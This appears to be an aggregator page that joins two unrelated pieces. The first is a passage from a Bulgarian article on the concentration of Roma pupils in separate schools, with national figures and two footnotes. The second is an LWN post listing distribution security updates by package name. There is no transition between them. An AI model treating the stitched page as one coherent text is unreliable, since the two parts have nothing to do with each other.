Като пример Исаев посочва Стамболийски, а Самоков определя като друг показателен случай. Според него подобни процеси вече се наблюдават и в София, където обединени училища също се превръщат в училища почти изцяло с ромски ученици.

Последните налични национални данни също показват мащаба на проблема. Към 2020 г. в България има 930 училища с концентрация на ученици от уязвими групи. От тях 185 се намират в населени места, където има и други училища на същото образователно ниво, тоест съществува реална алтернатива, но концентрацията продължава да се възпроизвежда.

След повече от век няма различни входове към училището за децата от различни етноси и социални групи. Но практиката с отделните входове се е трансформирала в райони за обхват, правила за прием и административни решения. Дали етническите българи биха искали децата им да учат заедно с ромски деца? Решението на КЗД поставя друг въпрос: дава ли държавата изобщо равен шанс това да стане?

1 Кючуков, Х. Социални фактори, подкрепящи процеса на приобщаващо образование на ромските деца. В: Ромската общност и приобщаващото образование: предизвикателства и възможности. София: Регионален център за подкрепа на процеса на приобщаващото образование София-град, с. 24–36.

2 Тилкиджиев, Н., Миленкова, В., Петкова, К., Милева, Н. Отпадащите роми. София: Институт „Отворено общество“, 2009, с. 44.

Security updates for Friday

Post Syndicated from jzb original https://lwn.net/Articles/1083388/

Security updates have been issued by AlmaLinux (cifs-utils, container-tools:rhel8, libreoffice, nodejs:24, perl-XML-LibXML, and python3.12), Fedora (ansible-collection-ansible-posix, firefox, freerdp, ImageMagick, mingw-glib2, perl-DBI, perl-HTTP-Date, rust-cargo-rpmstatus, and rust-opendal), Oracle (cifs-utils, gegl, gimp, git-lfs, go-toolset:ol8, hplip, kernel, libreoffice, maven:3.9, perl-XML-LibXML, python3, python3.12, python3.9, and uek-kernel), Red Hat (kernel, kernel-rt, and podman), Slackware (netatalk), SUSE (agama, aws-nitro-enclaves-binaryblobs-upstream, gimp, gpsd, grafana, hostapd, ImageMagick, jackson-databind, kernel, libssh2_org, nm-configurator, opennlp, perl-Mojolicious, python-Pillow, python-python-engineio, python-python-socketio, and tomcat11), and Ubuntu (ntfs-3g, python-authlib, ruby2.3, tar, and ubuntu-advantage-tools).

The collective thoughts of the interwebz